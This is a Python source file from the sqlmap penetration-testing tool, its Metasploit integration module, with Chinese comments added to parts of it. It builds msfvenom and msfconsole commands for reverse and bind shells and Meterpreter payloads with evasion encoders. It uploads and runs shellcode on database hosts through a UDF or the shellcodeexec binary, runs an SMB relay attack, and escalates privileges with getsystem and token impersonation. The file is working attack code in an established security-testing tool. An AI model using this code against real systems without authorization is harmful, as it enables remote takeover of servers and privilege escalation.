#!/usr/bin/env python """ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from __future__ import print_function import errno import os import re import select import sys import tempfile import time from subprocess import PIPE from extra.cloak.cloak import cloak from extra.cloak.cloak import decloak from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import isDigit from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.settings import IS_WIN from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import send_all from lib.core.subprocessng import recv_some from thirdparty import six if IS_WIN: import msvcrt class Metasploit(object): """ This class defines methods to call Metasploit for plugins. """ def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else ""))) self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else ""))) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else ""))) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else ""))) self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else ""))) self._msfPayloadsList = { "windows": { 1: ("Meterpreter (default)", "windows/meterpreter"), 2: ("Shell", "windows/shell"), 3: ("VNC", "windows/vncinject"), }, "linux": { 1: ("Shell (default)", "linux/x86/shell"), 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), } } self._msfConnectionsList = { "windows": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), }, "linux": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), } } self._msfEncodersList = { "windows": { 1: ("No Encoder", "generic/none"), 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), 9: ("Non-Alpha Encoder", "x86/nonalpha"), 10: ("Non-Upper Encoder", "x86/nonupper"), 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), } } self._msfSMBPortsList = { "windows": { 1: ("139/TCP", "139"), 2: ("445/TCP (default)", "445"), } } self._portData = { "bind": "remote port number", "reverse": "local port number", } def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "(default)" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1: choice = default choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice def _selectSMBPort(self): return self._skeletonSelection("SMB port", self._msfSMBPortsList) def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec if isinstance(encode, six.string_types): return encode elif encode: return self._skeletonSelection("payload encoding", self._msfEncodersList) def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warning(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warning(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warning("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not isDigit(choice): logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warning("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warning(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr def _selectPort(self): # 遍历_portData字典中的键值对 for connType, connStr in self._portData.items(): # 如果connectionStr以connType开头 if self.connectionStr.startswith(connType): # 返回_skeletonSelection函数的返回值，maxValue为65535，default为1025到65535之间的随机数 return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) def _selectRhost(self): # 如果connectionStr以"bind"开头 if self.connectionStr.startswith("bind"): # 提示用户输入后端DBMS地址，默认为remoteIP message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP address = readInput(message, default=self.remoteIP) # 如果用户没有输入地址 if not address: # 将地址设为remoteIP address = self.remoteIP # 返回地址 return address # 如果connectionStr以"reverse"开头 elif self.connectionStr.startswith("reverse"): # 返回None return None # 如果connectionStr不以"bind"或"reverse"开头 else: # 抛出SqlmapDataException异常 raise SqlmapDataException("unexpected connection type") def _selectLhost(self): if self.connectionStr.startswith("reverse"): message = "what is the local address? [Enter for '%s' (detected)] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address elif self.connectionStr.startswith("bind"): return None else: raise SqlmapDataException("unexpected connection type") def _selectConnection(self): # 选择连接类型 return self._skeletonSelection("connection type", self._msfConnectionsList) def _prepareIngredients(self, encode=True): # 准备食材 self.connectionStr = self._selectConnection() self.lhostStr = self._selectLhost() self.rhostStr = self._selectRhost() self.portStr = self._selectPort() self.payloadStr = self._selectPayload() self.encoderStr = self._selectEncoder(encode) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def _forgeMsfCliCmd(self, exitfunc="process"): # 构造Metasploit命令行 if kb.oldMsf: self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr # 根据连接类型选择LHOST或RHOST if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") # 如果是Windows系统且payload为windows/vncinject，则添加DisableCourtesyShell参数 if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " E" else: self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += "; set DisableCourtesyShell true" self._cliCmd += "; exploit'" def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) if kb.oldMsf: self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=thread" self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " SRVHOST=%s" % self.lhostStr self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += " E" else: self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC thread" self._cliCmd += "; set LPORT %s" % self.portStr self._cliCmd += "; set SRVHOST %s" % self.lhostStr self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += "; exploit'" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): # 根据kb.oldMsf的值，设置self._payloadCmd的值 if kb.oldMsf: self._payloadCmd = self._msfPayload else: self._payloadCmd = "%s -p" % self._msfVenom # 添加payload连接字符串 self._payloadCmd += " %s" % self.payloadConnStr # 添加退出函数 self._payloadCmd += " EXITFUNC=%s" % exitfunc # 添加监听端口 self._payloadCmd += " LPORT=%s" % self.portStr # 根据连接类型，添加监听主机 if self.connectionStr.startswith("reverse"): self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise SqlmapDataException("unexpected connection type") # 如果是Linux系统，并且开启了提权选项，则添加PrependChrootBreak和PrependSetuid参数 if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" # 根据kb.oldMsf的值，设置self._payloadCmd的值 if kb.oldMsf: # 如果extra参数为BufferRegister=EAX，则添加msfEncode编码器，并设置输出文件和格式 if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) # 如果extra参数不为空，则添加extra参数 if extra is not None: self._payloadCmd += " %s" % extra # 否则，设置输出文件 else: self._payloadCmd += " X > \"%s\"" % outFile # 否则，设置输出文件和格式 else: # 如果extra参数为BufferRegister=EAX，则添加msfEncode编码器，并设置输出文件和格式 if extra == "BufferRegister=EAX": self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) # 如果extra参数不为空，则添加extra参数 if extra is not None: self._payloadCmd += " %s" % extra # 设置输出文件 self._payloadCmd += " > \"%s\"" % outFile # 否则，设置输出文件和格式 else: self._payloadCmd += " -f exe > \"%s\"" % outFile def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfCli(self, exitfunc): self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework shellcode " infoMsg += "remotely via UDF 'sys_bineval', please wait.." logger.info(infoMsg) self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) if not Backend.isOs(OS.WINDOWS): self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True) cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString) else: cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString) self.execCmd(cmd, silent=True) def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7: # send_all(proc, "use priv\n") # This extension freezes the connection on 64-bit systems: # send_all(proc, "use sniffer\n") send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: print() infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) send_all(proc, "getsystem\n") infoMsg = "displaying the list of available Access Tokens. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) send_all(proc, "list_tokens -u\n") send_all(proc, "getuid\n") def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = b"" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select.select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), getBytes(out)) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= any(_ in out for _ in (b"Starting the payload handler", b"Started reverse")) # For --os-smbrelay smbRelayCond = b"Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search(b"Meterpreter session ([\\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) except select.error as ex: # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f if ex.args[0] == errno.EINTR: continue else: return proc.returncode except (EOFError, IOError): return proc.returncode except KeyboardInterrupt: pass def createMsfShellcode(self, exitfunc, format, extra, encode): # 创建Metasploit Framework多阶段shellcode infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) # 生成随机字符串 self._randStr = randomStr(lowercase=True) # 生成shellcode文件路径 self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) # 初始化Metasploit变量 Metasploit._initVars(self) # 准备shellcode的成分 self._prepareIngredients(encode=encode) # 生成Metasploit payload命令 self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) # 执行本地命令 logger.debug("executing local command: %s" % self._payloadCmd) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) # 输出创建进度 dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) # 检查进程状态 pollProcess(process) # 获取进程错误输出 payloadStderr = process.communicate()[1] # 搜索shellcode大小 match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) if match: # 获取shellcode大小 payloadSize = int(match.group(2)) # 如果extra参数为BufferRegister=EAX，则将shellcode大小除以2 if extra == "BufferRegister=EAX": payloadSize = payloadSize // 2 # 输出shellcode大小 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: # 如果没有找到shellcode大小，则抛出异常 errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) # 打开shellcode文件 self._shellcodeFP = open(self._shellcodeFilePath, "rb") # 读取shellcode文件内容 self.shellcodeString = getText(self._shellcodeFP.read()) # 关闭shellcode文件 self._shellcodeFP.close() os.unlink(self._shellcodeFilePath) def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) with open(self.shellcodeexecLocal, "w+b") as f: f.write(_) else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec. It " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True def pwn(self, goUdf=False): # 如果goUdf为True，则使用thread作为退出函数，否则使用process作为退出函数 if goUdf: exitfunc = "thread" func = self._runMsfShellcodeRemote else: exitfunc = "process" func = self._runMsfShellcodeRemoteViaSexec # 运行Metasploit命令行界面 self._runMsfCli(exitfunc=exitfunc) # 如果连接字符串以bind开头，则运行func函数 if self.connectionStr.startswith("bind"): func() # 记录Metasploit命令行界面退出的返回码 debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) # 如果goUdf为False，则等待1秒，并删除远程文件 if not goUdf: time.sleep(1) self.delRemoteFile(self.shellcodeexecRemote) def smb(self): # 初始化Metasploit变量 Metasploit._initVars(self) # 生成随机文件名 self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) # 运行Metasploit命令行界面 self._runMsfCliSmbrelay() # 如果识别的数据库管理系统是MySQL或PGSQL，则使用UNC路径 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) else: self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) # 记录Metasploit命令行界面退出的返回码 debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg) def bof(self): # 运行Metasploit命令行界面 self._runMsfCli(exitfunc="seh") # 如果连接字符串以bind开头，则运行spHeapOverflow函数 if self.connectionStr.startswith("bind"): self.spHeapOverflow() # 记录Metasploit命令行界面退出的返回码 debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg)